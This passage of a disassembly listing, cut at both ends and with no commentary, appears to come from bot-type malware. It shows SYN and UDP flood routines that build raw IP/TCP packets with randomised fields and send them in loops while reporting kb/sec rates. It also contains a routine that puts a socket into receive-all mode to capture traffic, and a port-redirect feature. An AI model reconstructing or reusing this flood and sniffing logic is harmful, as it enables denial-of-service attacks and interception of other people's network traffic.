ecx lea eax, [eax+eax*4] mov dword_4D6775[eax*2], edx xor eax, eax add esp, 338h retn 4 sub_426CE0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426EB0 proc near ; CODE XREF: sub_401DD9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426EB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aSyn ; "syn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E10C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_426EB0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426F20 proc near ; CODE XREF: ___:004016DBj sub_40181Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4010FF test [esp+4+arg_0], 1 jz short loc_426F38 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_426F38: ; CODE XREF: sub_426F20+Dj mov eax, esi pop esi retn 4 sub_426F20 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426F50 proc near ; CODE XREF: sub_4010FFj jmp sub_4014C4 sub_426F50 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426F70 proc near ; CODE XREF: sub_401E92j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426F70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+50h] mov edx, [esi+58h] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 28h lea ecx, [esp+34h+var_24] call sub_401424 mov edx, [esi+54h] mov eax, [esi+50h] mov ecx, [esi+58h] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014D3 push eax call sub_401DB6 sub_426F70 endp ; --------------------------------------------------------------------------- cdq and edx, 3FFh add esp, 10h add eax, edx mov ecx, edi sar eax, 0Ah cdq idiv dword ptr [esi+50h] mov edx, [esi+58h] push eax push edx call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+20h] push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)" push eax call sub_40102D add esp, 18h lea ecx, [esp+10h] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 14h mov dword ptr [esp+30h], 0FFFFFFFFh lea ecx, [esp+10h] call sub_401226 mov ecx, [esp+28h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4270E0 proc near ; CODE XREF: sub_401BB3j var_95 = byte ptr -95h var_8C = dword ptr -8Ch var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh sub esp, 98h push ebx push ebp push esi push edi mov ecx, 0Eh xor eax, eax lea edi, [esp+0A8h+var_3B] mov [esp+0A8h+var_3C], 0 rep stosd stosw xor esi, esi push 0FFh push esi mov [esp+0B0h+var_8C], esi stosb mov [esp+0B0h+var_95], 0 call sub_4021A3 sub_4270E0 endp ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+24h], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+2Dh], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+36h], al call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 20h cmp [esp+0B4h], si mov [esp+17h], al jnz short loc_427171 push 2710h push 3E8h mov byte ptr [esp+1Bh], 1 call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_427171: ; CODE XREF: ___:00427151j push 1 push esi push esi push 0FFh push 3 push 2 mov dword ptr [esp+64h], 1 call near ptr 71AB8769h nop mov edi, eax cmp edi, 0FFFFFFFFh mov [esp+18h], edi jnz short loc_4271A4 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4271A4: ; CODE XREF: ___:00427195j lea eax, [esp+4Ch] push 4 push eax push 2 push esi push edi call near ptr 71AB3EA1h nop cmp eax, 0FFFFFFFFh jnz short loc_4271C7 loc_4271BA: ; CODE XREF: ___:0042736Fj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4271C7: ; CODE XREF: ___:004271B8j mov ecx, [esp+0B4h] mov ebp, dword_50FC2C push ecx mov word ptr [esp+60h], 2 call ebp ; ntohs mov ebx, [esp+0ACh] push 28h mov [esp+62h], ax mov [esp+64h], ebx mov byte ptr [esp+24h], 45h call ebp ; ntohs push 4000h mov [esp+26h], ax mov word ptr [esp+28h], 1 mov [esp+2Ah], si mov byte ptr [esp+2Ch], 80h mov byte ptr [esp+2Dh], 6 mov [esp+2Eh], si mov [esp+34h], ebx mov byte ptr [esp+44h], 50h mov byte ptr [esp+45h], 2 call ebp ; ntohs mov [esp+42h], ax mov [esp+46h], si mov [esp+3Ch], esi nop call near ptr 27D07CDh mov [esp+48h], eax mov al, byte_4D64F9 test al, al jz loc_42741B mov ebx, dword_50FABC mov byte ptr [esp+58h], 0 mov byte ptr [esp+59h], 6 jmp short loc_427265 ; --------------------------------------------------------------------------- xor esi, esi loc_427265: ; CODE XREF: ___:00427261j mov edi, [esp+1Ch] mov edx, [esp+0B4h] inc edi push edx mov [esp+20h], edi mov [esp+48h], si call ebp ; ntohs push 14h mov [esp+3Ah], ax call ebp ; ntohs mov [esp+5Ah], ax mov eax, [esp+14h] push eax nop call near ptr 71AB2BC0h mov esi, eax mov [esp+2Ch], esi call ebx ; rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ebp ; ntohs mov [esp+34h], ax call ebx ; rand mov edi, eax shl edi, 10h call ebx ; rand or edi, eax push edi call ebp ; ntohs mov edx, [esp+0ACh] and eax, 0FFFFh mov [esp+38h], eax mov eax, [esp+58h] mov [esp+6Ch], esi mov ecx, 5 lea esi, [esp+34h] lea edi, [esp+78h] mov [esp+70h], edx mov [esp+74h], eax rep movsd lea ecx, [esp+6Ch] push 20h push ecx call sub_401A28 mov ecx, 5 lea esi, [esp+28h] lea edi, [esp+74h] lea edx, [esp+74h] rep movsd mov ecx, 5 lea esi, [esp+3Ch] lea edi, [esp+88h] mov [esp+4Ch], ax push 28h push edx rep movsd mov dword ptr [esp+0A4h], 0 call sub_401A28 mov edx, [esp+28h] add esp, 10h mov [esp+2Ah], ax mov ecx, 5 lea esi, [esp+20h] lea edi, [esp+6Ch] lea eax, [esp+5Ch] push 10h rep movsd push eax push 0 lea ecx, [esp+78h] push 28h push ecx push edx nop call near ptr 71AB2C69h cmp eax, 0FFFFFFFFh jz loc_4271BA nop call near ptr 27D07CDh mov edx, [esp+48h] mov ecx, eax sub ecx, edx mov eax, 10624DD3h mul ecx mov eax, [esp+0B8h] shr edx, 6 cmp edx, eax ja short loc_427417 mov al, [esp+13h] test al, al jz short loc_4273B9 push 2710h push 3E8h call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_4273B9: ; CODE XREF: ___:0042739Ej push 0FFh push 0 call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+24h], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+2Dh], al call sub_4021A3 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+36h], al call sub_4021A3 ; --------------------------------------------------------------------------- db 8Bh, 94h, 24h dd 0DCh, 8820C483h, 52172444h, 3EA902E8h, 0F9A09002h, 84004D64h dd 4C850FC0h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_427417: ; CODE XREF: ___:00427396j mov edi, [esp+18h] loc_42741B: ; CODE XREF: ___:0042724Bj push edi nop call near ptr 71AB9639h mov eax, [esp+1Ch] pop edi pop esi pop ebp lea eax, [eax+eax*4+5] pop ebx shl eax, 2 add esp, 98h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_427520 proc near ; CODE XREF: sub_401DB6j arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h mov eax, [esp+arg_0] push esi push eax call sub_40187F mov esi, eax nop call near ptr 77C371D3h and eax, 800001FFh jns short loc_427541 dec eax or eax, 0FFFFFE00h inc eax loc_427541: ; CODE XREF: sub_427520+18j mov ecx, [esp+4+arg_10] mov edx, [esp+4+arg_C] push ecx mov ecx, [esp+8+arg_8] lea eax, [eax+esi+100h] push edx push ecx push eax push esi call sub_401BB3 sub_427520 endp ; --------------------------------------------------------------------------- add esp, 18h pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427590 proc near ; CODE XREF: sub_401785j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427590 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F7D push offset aUdp ; "udp" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E11C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427590 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427600 proc near ; CODE XREF: ___:004014ECj sub_40222Aj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401159 test [esp+4+arg_0], 1 jz short loc_427618 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_427618: ; CODE XREF: sub_427600+Dj mov eax, esi pop esi retn 4 sub_427600 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427630 proc near ; CODE XREF: sub_401159j jmp sub_4014C4 sub_427630 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427650 proc near ; CODE XREF: sub_401A05j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427650 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] push eax mov eax, [esi+58h] lea edi, [esi+3Bh] push ecx push edx push eax mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)" mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 2Ch lea ecx, [esp+34h+var_24] call sub_401424 mov eax, [esi+58h] mov ecx, [esi+54h] mov edx, [esi+60h] push eax mov eax, [esi+5Ch] push ecx push edx push eax mov ecx, edi mov [esp+44h+var_4], 0 call sub_4014D3 push eax call sub_401730 add esp, 14h test eax, eax jz short loc_42771E mov ecx, [esi+5Ch] mov edx, [esi+58h] push ecx push edx mov ecx, edi call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+44h+var_24] push offset aSSDDone ; "%s: %s:%d done" push eax call sub_40102D add esp, 18h loc_42771E: ; CODE XREF: sub_427650+A2j lea ecx, [esp+34h+var_24] call sub_4017E4 push eax mov ecx, ebp call sub_4014D3 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_427650 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4277C0 proc near ; CODE XREF: sub_401730j var_36 = word ptr -36h var_18 = byte ptr -18h var_16 = word ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_FFBC = dword ptr 0FFC0h arg_FFCC = dword ptr 0FFD0h arg_FFDC = dword ptr 0FFE0h arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFF0h call sub_436840 push esi push 11h push 2 push 2 call near ptr 71AB3B91h nop mov esi, [esp+10h+arg_FFE4] mov [esp+10h+arg_0], eax xor eax, eax push esi mov [esp+14h+var_C], eax mov word ptr [esp+14h+var_C], 2 mov [esp+14h+var_8], eax mov [esp+14h+var_4], eax mov [esp+14h], eax call near ptr 71AB2BF4h nop cmp eax, 0FFFFFFFFh jnz short loc_427821 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_42781A pop esi add esp, 0FFF0h retn ; --------------------------------------------------------------------------- loc_42781A: ; CODE XREF: sub_4277C0+50j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_427821: ; CODE XREF: sub_4277C0+45j mov esi, [esp+18h+arg_FFEC] push ebx mov ebx, dword_50FABC push ebp test esi, esi mov [esp+20h+var_10], eax push edi jnz short loc_42785D call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+28h+var_16], ax mov [esp+28h+arg_FFE8], 1 jmp short loc_42788E ; --------------------------------------------------------------------------- loc_42785D: ; CODE XREF: sub_4277C0+77j push esi call near ptr 71AB2B66h nop cmp esi, 1 mov [esp+28h+var_16], ax jge short loc_42787B mov [esp+28h+arg_FFE8], 1 jmp short loc_42788E ; --------------------------------------------------------------------------- loc_42787B: ; CODE XREF: sub_4277C0+ACj cmp esi, 0FFFFh jle short loc_42788E mov [esp+28h+arg_FFE8], 0FFFFh loc_42788E: ; CODE XREF: sub_4277C0+9Bj ; sub_4277C0+B9j ... mov eax, [esp+28h+arg_FFE4] test eax, eax jnz short loc_4278A4 mov [esp+28h+arg_FFE4], 1 loc_4278A4: ; CODE XREF: sub_4277C0+D7j mov ecx, [esp+28h+arg_FFDC] mov eax, 66666667h imul ecx mov edi, [esp+28h+arg_FFE0] xor esi, esi sar edx, 2 mov eax, edx shr eax, 1Fh add edx, eax test edi, edi mov ebp, edx jle short loc_4278DE loc_4278CB: ; CODE XREF: sub_4277C0+11Cj call ebx ; rand cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, edi mov byte ptr [esp+esi+28h+var_8+3], dl jl short loc_4278CB loc_4278DE: ; CODE XREF: sub_4277C0+109j mov edx, ebp dec ebp test edx, edx mov [esp+28h+arg_FFDC], ebp jle loc_427970 mov ebp, dword_50FC5C loc_4278F6: ; CODE XREF: sub_4277C0+1AEj mov al, byte_4D64F9 test al, al jz short loc_427970 mov esi, 0Bh loc_427904: ; CODE XREF: sub_4277C0+177j lea eax, [esp+28h+var_18] push 10h push eax push 0 call ebx ; rand cdq mov ecx, 0Ah idiv ecx mov eax, edi lea ecx, [esp+34h+var_4] sub eax, edx mov edx, [esp+34h+var_8] push eax push ecx push edx call ebp ; sendto mov eax, [esp+40h+arg_FFCC] push eax call near ptr 2811D0Bh nop dec esi jnz short loc_427904 mov eax, [esp+44h+arg_FFCC] test eax, eax jnz short loc_42795B call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+48h+var_36], ax loc_42795B: ; CODE XREF: sub_4277C0+182j mov eax, [esp+48h+arg_FFBC] mov edx, eax dec eax test edx, edx mov [esp+48h+arg_FFBC], eax jg short loc_4278F6 loc_427970: ; CODE XREF: sub_4277C0+12Aj ; sub_4277C0+13Dj pop edi pop ebp pop ebx mov eax, 1 pop esi add esp, 0FFF0h retn sub_4277C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4279F0 proc near ; CODE XREF: sub_40207Cj var_10 = word ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx mov ebx, [esp+14h+arg_4] push esi push edi mov edi, [esp+1Ch+arg_0] lea eax, [ebx-14h] push eax lea ecx, [edi+28h] push ecx call sub_401A28 mov edx, [edi+10h] add esp, 8 mov [edi+0Ah], ax mov [esp+1Ch+var_10], 2 push 1 push 0 push 0 push 0FFh push 3 push 2 mov [esp+34h+var_C], edx mov [esp+34h+arg_4], 1 call near ptr 71AB8769h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_427A4D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_427A4D: ; CODE XREF: sub_4279F0+52j lea eax, [esp+1Ch+arg_4] push 4 push eax push 2 push 0 push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jnz short loc_427A6D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_427A6D: ; CODE XREF: sub_4279F0+72j lea ecx, [esp+1Ch+var_10] push 10h push ecx push 0 push ebx push edi push esi call near ptr 71AB2C69h nop push esi mov edi, eax call near ptr 71AB9639h nop mov eax, edi pop edi pop esi pop ebx add esp, 10h retn sub_4279F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427AD0 proc near ; CODE XREF: sub_401D9Dj var_68 = dword ptr -68h var_64 = dword ptr -64h var_28 = dword ptr -28h var_18 = byte ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_10 = word ptr 14h arg_12 = word ptr 16h arg_14 = dword ptr 18h arg_1C = byte ptr 20h arg_24 = byte ptr 28h arg_25 = byte ptr 29h arg_B8 = byte ptr 0BCh arg_C1 = byte ptr 0C5h arg_C4 = dword ptr 0C8h arg_C8 = dword ptr 0CCh arg_100C8 = dword ptr 100CCh arg_100D8 = dword ptr 100DCh arg_10128 = dword ptr 1012Ch arg_1012C = dword ptr 10130h arg_10130 = dword ptr 10134h mov eax, 10128h call sub_436840 push ebx push ebp push esi push edi mov ecx, 3Fh xor eax, eax lea edi, [esp+10h+arg_25] mov [esp+10h+arg_24], 0 rep stosd stosw mov eax, [esp+10h+arg_10128] push eax call sub_40187F mov ecx, [esp+14h+arg_1012C] mov [esp+14h+arg_4], eax push ecx call sub_40187F mov edi, [esp+18h+arg_10130] add esp, 8 xor ebx, ebx mov [esp+10h+arg_0], eax mov [esp+10h+arg_10], 2 mov [esp+10h+arg_12], bx mov [esp+10h+arg_14], ebx mov esi, offset byte_446F70 mov eax, edi loc_427B37: ; CODE XREF: sub_427AD0+85j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_427B5B test cl, cl jz short loc_427B57 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_427B5B add eax, 2 add esi, 2 test cl, cl jnz short loc_427B37 loc_427B57: ; CODE XREF: sub_427AD0+71j xor eax, eax jmp short loc_427B60 ; --------------------------------------------------------------------------- loc_427B5B: ; CODE XREF: sub_427AD0+6Dj ; sub_427AD0+7Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_427B60: ; CODE XREF: sub_427AD0+89j cmp eax, ebx jnz short loc_427BB3 mov ebp, dword_4D6107 cmp ebp, ebx mov [esp+10h], ebp jz short loc_427B77 cmp ebp, 0FFFFFFFFh jnz short loc_427BBE loc_427B77: ; CODE XREF: sub_427AD0+A0j lea eax, [esp+10h+arg_24] push 0FFh push eax call near ptr 71AB50C8h nop lea ecx, [esp+18h+arg_1C] push ecx call near ptr 71AB4FD4h nop movsx ecx, word ptr [eax+0Ah] mov edx, [eax+0Ch] mov eax, ecx lea edi, [esp+1Ch+var_C] mov esi, [edx] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ebp, [esp+1Ch+var_C] jmp short loc_427BBE ; --------------------------------------------------------------------------- loc_427BB3: ; CODE XREF: sub_427AD0+92j push edi call sub_40187F add esp, 4 mov ebp, eax loc_427BBE: ; CODE XREF: sub_427AD0+A5j ; sub_427AD0+E1j cmp ebp, ebx jz short loc_427BC7 cmp ebp, 0FFFFFFFFh jnz short loc_427BCD loc_427BC7: ; CODE XREF: sub_427AD0+F0j mov ebp, dword_4D6107 loc_427BCD: ; CODE XREF: sub_427AD0+F5j mov edi, 1 mov [esp+10h+arg_14], ebp push edi push ebx push ebx push ebx push 3 push 2 mov [esp+28h+arg_8], edi nop call near ptr 71AB8769h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_427D0D lea ecx, [esp+28h+var_C] push 4 push ecx push 2 push ebx push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jz loc_427D0D lea edx, [esp+3Ch+var_18] push 10h push edx push esi nop call near ptr 71AB3E00h cmp eax, 0FFFFFFFFh jz loc_427D0D push ebx lea eax, [esp+4Ch+var_14] push ebx push eax push ebx push ebx lea ecx, [esp+5Ch+var_28] push 4 push ecx push 98000001h push esi mov [esp+6Ch+var_28], edi nop call near ptr 71AB4489h cmp eax, 0FFFFFFFFh jz loc_427D0D mov edx, [esp+6Ch+arg_100D8] cmp byte ptr [edx], 0 jz loc_427CF3 mov ebx, dword_50FC90 loc_427C63: ; CODE XREF: sub_427AD0+21Dj mov ecx, 3FFFh xor eax, eax lea edi, [esp+6Ch+arg_C8] push 0 rep stosd stosw stosb lea eax, [esp+70h+arg_C8] push 0FFFFh push eax push esi call ebx ; recv cmp [esp+7Ch+arg_C1], 2Fh jnz short loc_427CE3 mov ecx, [esp+7Ch+arg_C4] mov edx, [esp+7Ch+var_64] cmp ecx, edx jnz short loc_427CBE mov ecx, [esp+7Ch+var_68] lea edx, [esp+7Ch+arg_B8] push eax mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], ecx push edx jmp short loc_427CDB ; --------------------------------------------------------------------------- loc_427CBE: ; CODE XREF: sub_427AD0+1CFj cmp ecx, [esp+7Ch+var_68] jnz short loc_427CE3 push eax lea eax, [esp+80h+arg_B8] mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], edx push eax loc_427CDB: ; CODE XREF: sub_427AD0+1ECj call sub_40207C add esp, 8 loc_427CE3: ; CODE XREF: sub_427AD0+1C0j ; sub_427AD0+1F2j mov ecx, [esp+7Ch+arg_100C8] cmp byte ptr [ecx], 0 jnz loc_427C63 loc_427CF3: ; CODE XREF: sub_427AD0+187j mov edx, dword_50FA84 add edx, 20h push edx nop call near ptr 77C3EEF6h add esp, 4 push esi nop call near ptr 71AB9639h loc_427D0D: ; CODE XREF: sub_427AD0+11Dj ; sub_427AD0+137j ... pop edi pop esi pop ebp pop ebx add esp, 10128h retn sub_427AD0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427DC0 proc near ; CODE XREF: sub_401889j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427DC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset off_444F40 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E12C call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427DC0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427E30 proc near ; CODE XREF: sub_401F82j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427E30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E6A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401424 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401424 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401424 lea ecx, [esi+82h] mov byte ptr [esp+14h+var_4], 5 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E13C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427E30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427EF0 proc near ; CODE XREF: sub_40179Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427EF0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E13C lea ecx, [esi+82h] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_427EF0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_427FC0: ; CODE XREF: ___:00401A14j ; ___:loc_402068j push esi mov esi, ecx call sub_40179E test byte ptr [esp+8], 1 jz short loc_427FD8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_427FD8: ; CODE XREF: ___:00427FCDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427FF0 proc near ; CODE XREF: ___:00401096j sub_401C2Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4015F5 test [esp+4+arg_0], 1 jz short loc_428008 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_428008: ; CODE XREF: sub_427FF0+Dj mov eax, esi pop esi retn 4 sub_427FF0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428020 proc near ; CODE XREF: sub_4015F5j jmp sub_40179E sub_428020 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428040 proc near ; CODE XREF: sub_4015AFj push ebx push ebp push esi mov esi, ecx push edi lea edi, [esi+82h] lea ebx, [esi+58h] mov ecx, edi lea ebp, [esi+6Dh] call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D60B5 call sub_401848 mov edx, [esi+99h] add esp, 24h add edx, 11Ch mov ecx, edi push edx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax call sub_401D9D add esp, 10h mov ecx, edi call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax lea ecx, [esi+11h] call sub_4017E4 push eax push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"... lea ecx, [esi+26h] call sub_4014D3 mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 24h pop edi pop esi pop ebp pop ebx retn sub_428040 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428160 proc near ; CODE XREF: sub_401884j var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428160 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push esi mov esi, ecx mov 